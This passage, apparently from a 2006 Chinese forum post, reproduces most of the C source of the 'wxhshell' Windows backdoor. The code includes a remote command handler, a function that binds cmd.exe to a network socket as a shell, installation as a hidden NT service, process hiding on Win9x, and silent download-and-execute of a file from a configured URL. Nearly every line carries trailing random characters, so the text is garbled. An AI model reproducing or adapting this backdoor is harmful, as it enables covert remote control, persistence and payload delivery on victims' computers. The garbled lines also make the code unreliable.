  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;0]s:0WD0P  
  } ()%;s2>F  
  else { e[*%tx H  
Q[UYNQ0w  
    switch(cmd[0]) { ^DOQ+  
  |n+ ` t?L^  
  // 帮助 [eO6 H2@=z  
  case '?': { l\1_v7s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :dj=kuUTbu  
    break; /D ~UK"}  
  } sD ,FJ:dy  
  // 安装 (`FY{]Wz!  
  case 'i': { [gxH,=Pb  
    if(Install()) H|/U0;s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C{P:1ELYXH  
    else tboc7Hor4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cux<7#6af  
    break; 1n|K   
    } %8~g#Z  
  // 卸载 +a}>cAj*  
  case 'r': { [pYjH+<  
    if(Uninstall()) *-.,QpgTX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7/GL@H  
    else |;MW98 A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TOXZl3 s5#  
    break; i+eDBg6  
    } %P`w"H,v3#  
  // 显示 wxhshell 所在路径 4&+lc*  
  case 'p': { B{\qYL/~  
    char svExeFile[MAX_PATH]; /E<:=DD<  
    strcpy(svExeFile,"\n\r"); cSWn4-B@l  
      strcat(svExeFile,ExeFile); 2r>I,TNHl  
        send(wsh,svExeFile,strlen(svExeFile),0); <A@qN95m  
    break; Spt;m0W90  
    } 8$C?j\J|*  
  // 重启 wA?q/cw C  
  case 'b': { 1JWo~E'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z< ,rE  
    if(Boot(REBOOT)) Rg6/6/ IN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4oA9|}<FR  
    else { 6R+EG{`  
    closesocket(wsh); C}8 3t~Q  
    ExitThread(0); J1gLT $  
    } $61j_;WF`  
    break; Z]x)d|3;  
    } %m?$"<q_K  
  // 关机 J{h?=vK  
  case 'd': { Z@ZSn0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [ %:%C]4  
    if(Boot(SHUTDOWN)) &JHqUVs^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n>aH7  
    else { `;\~$^sj}  
    closesocket(wsh); /XZ\Yy=  
    ExitThread(0); Zz@wbhMV  
    } kcyT#'=j  
    break; qF57T>v|  
    } 9 Z79  
  // 获取shell *>8Y/3Y\B  
  case 's': { P[<EFj E  
    CmdShell(wsh); :]+p#l  
    closesocket(wsh); j^qI~|#  
    ExitThread(0); unN=yeut  
    break; -5TMV#i {  
  }  TDR2){I  
  // 退出 ^{R.X:a  
  case 'x': { Q3|I.I e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ST7Xgma-  
    CloseIt(wsh); y~/i{a;1y  
    break; sm96Ye{O{  
    } qS}pv  
  // 离开 )*T <s  
  case 'q': { ->Bx>Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TB(!*t  
    closesocket(wsh); )!jX$bK  
    WSACleanup(); 3E]IEf  
    exit(1); ):pFI/iC  
    break; "R9^X3;  
        } 4 N{5i )  
  } tj;<EaM  
  } DY6ra% T  
F}dq~QCzw  
  // 提示信息 Od@<L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ``* !b >)  
} hD! 9[Gb  
  } T^XU5qgN  
BLQD=?Q  
  return; k>mqKzT0$+  
} Jk3V]u  
&nX,)"  
// shell模块句柄 KuohUH+  
int CmdShell(SOCKET sock) tpP2dg9dF  
{ ;)gNe:Q  
STARTUPINFO si; z(dX<  
ZeroMemory(&si,sizeof(si)); 4C[n@ p2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "}'Sk(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b"QeCw#v`>  
PROCESS_INFORMATION ProcessInfo; PZsq9;P$  
char cmdline[]="cmd"; 6h_OxO&!U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _mSQ>BBRl  
  return 0; z~+gche>  
} Owz.C_{)  
Vuu_Sd  
// 自身启动模式 0&k!=gj:>Z  
int StartFromService(void) X=d;WT4,,  
{ *2tG07kI  
typedef struct =gb(<`{>  
{ y$^.HI02jP  
  DWORD ExitStatus; [d~ 25  
  DWORD PebBaseAddress; ;UB$Uqs6  
  DWORD AffinityMask; 875BD U  
  DWORD BasePriority; oy!Dm4F  
  ULONG UniqueProcessId; eg vgi?y  
  ULONG InheritedFromUniqueProcessId; B{+ Ra  
}   PROCESS_BASIC_INFORMATION; SXI3y  
h]z>H~.<*  
PROCNTQSIP NtQueryInformationProcess; z LHE;  
b+`mh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m;]glAtt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o) hQ]d  
1S26Y|L)  
  HANDLE             hProcess; J}vxK H#=  
  PROCESS_BASIC_INFORMATION pbi; zxr|:KC ?&  
_^)<d$R<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;Pi-H,1b  
  if(NULL == hInst ) return 0; w 9mi2=  
A+Xk=k5<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bkgJz+u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P95A _(T=[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xE4iey@\}  
'l}T_7g  
  if (!NtQueryInformationProcess) return 0; Uc3-n`C  
"""gV)Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); & M wvj  
  if(!hProcess) return 0; oT\u^WU  
Evn=3Tw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AShnCL8uR  
AGN5=K*D  
  CloseHandle(hProcess); 2AAZZx +$  
V~uH)IMkh7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j5EZJ`  
if(hProcess==NULL) return 0; jB17]OCN  
!P&F6ViO=  
HMODULE hMod; y2U^7VrO  
char procName[255]; @L-3&~=  
unsigned long cbNeeded; '$3]U5KOwK  
{i7Wp$ug  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eL-9fld /n  
SJtQK-%wK>  
  CloseHandle(hProcess); ;: a>#{N  
{/C \GxH+  
if(strstr(procName,"services")) return 1; // 以服务启动 R N1q/H|  
R`wL%I!?f  
  return 0; // 注册表启动 GN4'LU  
} "Z&-:1tP{9  
ER O'{nT&  
// 主模块 f;C*J1y  
int StartWxhshell(LPSTR lpCmdLine) cViEvS r  
{ =7JvS~s  
  SOCKET wsl; |=^p`CT  
BOOL val=TRUE; *Op;].>E  
  int port=0; P,x'1 `k~  
  struct sockaddr_in door; nVF?.c  
Zz<k^  
  if(wscfg.ws_autoins) Install(); 9y(75Bn9  
@O/Jy2>3H  
port=atoi(lpCmdLine); bqHR~4 #IR  
!1tHg Z2\  
if(port<=0) port=wscfg.ws_port; ,Jy@n]x  
0UEEvD5  
  WSADATA data; [i 18$q5D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J6eF7 fa  
[*<F   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4!pMZ<$3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M^c`j#NQ  
  door.sin_family = AF_INET; c/Fy1Lv\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); la7VeFT  
  door.sin_port = htons(port); wN"j:G(  
I%]~]a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g\CRx^s  
closesocket(wsl); b ^wL{q  
return 1; $4^cbk  
} "<3F[[;~  
~c&ygL3  
  if(listen(wsl,2) == INVALID_SOCKET) { |H`}w2U[j  
closesocket(wsl); S+^*rw  
return 1; (yjx+K_[  
} u^DfRd&P0  
  Wxhshell(wsl); Zl5cHejM  
  WSACleanup(); {:U zW\5l)  
v~f_~v5J!  
return 0; !^{0vFWE  
Hc`)Q vFRW  
} J#h2~Hz!  
WmO.&zp  
// 以NT服务方式启动 0p"l}Fu@`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ; B4x>  
{ snPM&  
DWORD   status = 0; v6Vieo=  
  DWORD   specificError = 0xfffffff; ^P4q6BW  
dNH6%1(s]0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BHoy:Tp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @>>8CU^~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bXSsN\:Y@[  
  serviceStatus.dwWin32ExitCode     = 0; BE`{? -G  
  serviceStatus.dwServiceSpecificExitCode = 0; i2. +E&3v  
  serviceStatus.dwCheckPoint       = 0; _[D6 WY+  
  serviceStatus.dwWaitHint       = 0; ?T]` X  
^HJvT)e4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |;~kHc$W  
  if (hServiceStatusHandle==0) return; *P\$<4l  
ZDMv8BP7  
status = GetLastError(); e70#"~gt[  
  if (status!=NO_ERROR) )uj:k*`)  
{ %2H0JXKa,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (u/-ud1p  
    serviceStatus.dwCheckPoint       = 0; U/hf?T;  
    serviceStatus.dwWaitHint       = 0; DdU T"%  
    serviceStatus.dwWin32ExitCode     = status; S511}KPbm/  
    serviceStatus.dwServiceSpecificExitCode = specificError; Sz!mn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VFmG\  
    return; `^:>sU  
  } bl8zcpdL  
.A(QqL>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #6fQ$x(F#j  
  serviceStatus.dwCheckPoint       = 0;  "! -  
  serviceStatus.dwWaitHint       = 0; {..6{~L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %Aqt0e  
} UY(pKe>  
+c7e[hz  
// 处理NT服务事件,比如:启动、停止 c(@(j8@S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @fI1|v=eF  
{ z%FBHj  
switch(fdwControl) 4q9+a7@  
{ rI'kGqU  
case SERVICE_CONTROL_STOP: *5e"suS2  
  serviceStatus.dwWin32ExitCode = 0; B//2R)HS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nj90`O.K  
  serviceStatus.dwCheckPoint   = 0; VVd9VGvh  
  serviceStatus.dwWaitHint     = 0; JWh5gOXd  
  { 4](jV}Hg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K2Z]MpLD  
  } **,(>4j  
  return; GbXa=* <-<  
case SERVICE_CONTROL_PAUSE: %@,%A_So k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k<Y}BvAYB  
  break; e(z'u A{!  
case SERVICE_CONTROL_CONTINUE: :@~Nszlb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wr j<}L|  
  break; 4MFdhJoN  
case SERVICE_CONTROL_INTERROGATE: pu"m(9  
  break; _c z$w5`  
}; Ye=c;0V(w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kd=|Iip;(  
} Il4R R  
C:9a$  
// 标准应用程序主函数 JK%UaEut=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6f'THU$  
{ ML!>tCT  
s7Z+--I)L  
// 获取操作系统版本 2lu AF2  
OsIsNt=GetOsVer(); {qJ(55  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h,fC-+H5  
J$D/-*/@  
  // 从命令行安装 [uLpm*7  
  if(strpbrk(lpCmdLine,"iI")) Install(); %.rVIc"  
z+5%.^Re  
  // 下载执行文件 ?*/1J~<(@  
if(wscfg.ws_downexe) { Dk^T_7{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &y+)xe:&S  
  WinExec(wscfg.ws_filenam,SW_HIDE); y5/LH~&Ov  
} lD-HQd  
v.!e1ke8D*  
if(!OsIsNt) { /J5)_> R:  
// 如果时win9x,隐藏进程并且设置为注册表启动 @c -| Sl  
HideProc(); DedY(JOvB  
StartWxhshell(lpCmdLine); ra|Ku!  
} ?ZAynZF|#  
else x:E:~h[.^  
  if(StartFromService()) }8Yu"P${Y  
  // 以服务方式启动 s= bP@[Gj  
  StartServiceCtrlDispatcher(DispatchTable); .jv#<"DW  
else O$(#gB'B  
  // 普通方式启动 O!k C  
  StartWxhshell(lpCmdLine); x>Gx yVE  
lcR1FbJ2'  
return 0; 7?p>v34A  
}
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只看该作者 1 发表于: 2006-10-10
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